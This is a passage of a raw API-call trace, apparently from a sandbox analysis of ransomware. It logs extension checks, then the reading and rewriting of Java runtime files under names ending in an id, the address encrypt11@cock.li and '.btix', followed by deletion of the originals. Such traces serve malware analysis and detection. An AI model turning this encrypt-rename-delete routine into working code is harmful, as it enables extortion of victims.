(lpString1=".bz2", lpString2=".exe") returned -1 [0148.738] lstrlenW (lpString=".7z") returned 3 [0148.738] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString=".dbf") returned 4 [0148.738] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString=".1cd") returned 4 [0148.738] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString=".jpg") returned 4 [0148.738] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString=".doc") returned 4 [0148.738] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.738] lstrlenW (lpString=".docx") returned 5 [0148.738] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0148.738] lstrlenW (lpString=".pdf") returned 4 [0148.738] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString=".xls") returned 4 [0148.738] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString=".xlsx") returned 5 [0148.738] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0148.738] lstrlenW (lpString=".ppt") returned 4 [0148.738] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.738] lstrlenW (lpString=".zip") returned 4 [0148.738] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString=".rar") returned 4 [0148.738] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.738] lstrlenW (lpString=".bz2") returned 4 [0148.739] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.739] lstrlenW (lpString=".7z") returned 3 [0148.739] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.739] lstrlenW (lpString=".dbf") returned 4 [0148.739] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.739] lstrlenW (lpString=".1cd") returned 4 [0148.739] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0148.739] lstrlenW (lpString=".jpg") returned 4 [0148.739] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.739] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0148.739] lstrlenW (lpString="jjs.exe") returned 7 [0148.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.739] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=15936) returned 1 [0148.739] CloseHandle (hObject=0x39c) returned 1 [0148.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0148.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.740] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.740] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.740] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.740] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.741] GetLastError () returned 0x0 [0148.741] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0148.743] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0148.744] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.744] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0148.744] SetEndOfFile (hFile=0x3a0) returned 1 [0148.744] CloseHandle (hObject=0x3a0) returned 1 [0148.744] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.744] SetEndOfFile (hFile=0x39c) returned 1 [0148.745] CloseHandle (hObject=0x39c) returned 1 [0148.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.745] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0148.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.745] lstrlenW (lpString=".doc") returned 4 [0148.745] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.745] lstrlenW (lpString=".docx") returned 5 [0148.745] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0148.745] lstrlenW (lpString=".pdf") returned 4 [0148.745] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.745] lstrlenW (lpString=".xls") returned 4 [0148.745] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.745] lstrlenW (lpString=".xlsx") returned 5 [0148.745] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0148.745] lstrlenW (lpString=".ppt") returned 4 [0148.746] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".zip") returned 4 [0148.746] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString=".rar") returned 4 [0148.746] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString=".bz2") returned 4 [0148.746] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.746] lstrlenW (lpString=".7z") returned 3 [0148.746] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".dbf") returned 4 [0148.746] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".1cd") returned 4 [0148.746] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".jpg") returned 4 [0148.746] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".doc") returned 4 [0148.746] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.746] lstrlenW (lpString=".docx") returned 5 [0148.746] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0148.746] lstrlenW (lpString=".pdf") returned 4 [0148.746] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString=".xls") returned 4 [0148.746] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString=".xlsx") returned 5 [0148.746] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0148.746] lstrlenW (lpString=".ppt") returned 4 [0148.746] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.746] lstrlenW (lpString=".zip") returned 4 [0148.747] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.747] lstrlenW (lpString=".rar") returned 4 [0148.747] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.747] lstrlenW (lpString=".bz2") returned 4 [0148.747] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.747] lstrlenW (lpString=".7z") returned 3 [0148.747] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.747] lstrlenW (lpString=".dbf") returned 4 [0148.747] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.747] lstrlenW (lpString=".1cd") returned 4 [0148.747] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0148.747] lstrlenW (lpString=".jpg") returned 4 [0148.747] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.747] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.747] lstrlenW (lpString="jli.dll") returned 7 [0148.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.747] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=174656) returned 1 [0148.747] CloseHandle (hObject=0x39c) returned 1 [0148.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0148.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.748] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.748] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.748] GetLastError () returned 0x0 [0148.748] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x2aa40, lpOverlapped=0x0) returned 1 [0148.765] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x2aa50, lpOverlapped=0x0) returned 1 [0148.768] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.768] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0148.768] SetEndOfFile (hFile=0x3a0) returned 1 [0148.768] CloseHandle (hObject=0x3a0) returned 1 [0148.768] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.768] SetEndOfFile (hFile=0x39c) returned 1 [0148.770] CloseHandle (hObject=0x39c) returned 1 [0148.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.770] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0148.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.770] lstrlenW (lpString=".doc") returned 4 [0148.770] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.770] lstrlenW (lpString=".docx") returned 5 [0148.770] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0148.770] lstrlenW (lpString=".pdf") returned 4 [0148.770] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.770] lstrlenW (lpString=".xls") returned 4 [0148.770] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.770] lstrlenW (lpString=".xlsx") returned 5 [0148.770] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0148.771] lstrlenW (lpString=".ppt") returned 4 [0148.771] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString=".zip") returned 4 [0148.771] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.771] lstrlenW (lpString=".rar") returned 4 [0148.771] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.771] lstrlenW (lpString=".bz2") returned 4 [0148.771] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.771] lstrlenW (lpString=".7z") returned 3 [0148.771] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString=".dbf") returned 4 [0148.771] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString=".1cd") returned 4 [0148.771] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString=".jpg") returned 4 [0148.771] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.771] lstrlenW (lpString=".doc") returned 4 [0148.771] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString=".docx") returned 5 [0148.772] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0148.772] lstrlenW (lpString=".pdf") returned 4 [0148.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString=".xls") returned 4 [0148.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString=".xlsx") returned 5 [0148.772] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0148.772] lstrlenW (lpString=".ppt") returned 4 [0148.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.772] lstrlenW (lpString=".zip") returned 4 [0148.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString=".rar") returned 4 [0148.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.772] lstrlenW (lpString=".bz2") returned 4 [0148.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.772] lstrlenW (lpString=".7z") returned 3 [0148.772] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.772] lstrlenW (lpString=".dbf") returned 4 [0148.772] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.772] lstrlenW (lpString=".1cd") returned 4 [0148.772] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0148.772] lstrlenW (lpString=".jpg") returned 4 [0148.772] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.772] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0148.772] lstrlenW (lpString="jp2launcher.exe") returned 15 [0148.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.773] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=112192) returned 1 [0148.773] CloseHandle (hObject=0x39c) returned 1 [0148.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0148.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.773] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.773] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.774] GetLastError () returned 0x0 [0148.774] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1b640, lpOverlapped=0x0) returned 1 [0149.111] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1b650, lpOverlapped=0x0) returned 1 [0149.113] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.113] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0149.113] SetEndOfFile (hFile=0x3a0) returned 1 [0149.113] CloseHandle (hObject=0x3a0) returned 1 [0149.113] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.113] SetEndOfFile (hFile=0x39c) returned 1 [0149.115] CloseHandle (hObject=0x39c) returned 1 [0149.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0149.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.120] lstrlenW (lpString=".doc") returned 4 [0149.120] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.120] lstrlenW (lpString=".docx") returned 5 [0149.120] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0149.120] lstrlenW (lpString=".pdf") returned 4 [0149.120] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString=".xls") returned 4 [0149.121] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString=".xlsx") returned 5 [0149.121] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0149.121] lstrlenW (lpString=".ppt") returned 4 [0149.121] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString=".zip") returned 4 [0149.121] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString=".rar") returned 4 [0149.121] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString=".bz2") returned 4 [0149.121] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.121] lstrlenW (lpString=".7z") returned 3 [0149.121] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString=".dbf") returned 4 [0149.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString=".1cd") returned 4 [0149.121] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString=".jpg") returned 4 [0149.121] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.121] lstrlenW (lpString=".doc") returned 4 [0149.121] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.121] lstrlenW (lpString=".docx") returned 5 [0149.121] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0149.121] lstrlenW (lpString=".pdf") returned 4 [0149.121] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.121] lstrlenW (lpString=".xls") returned 4 [0149.121] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.122] lstrlenW (lpString=".xlsx") returned 5 [0149.122] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0149.122] lstrlenW (lpString=".ppt") returned 4 [0149.122] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.122] lstrlenW (lpString="C:\\Program 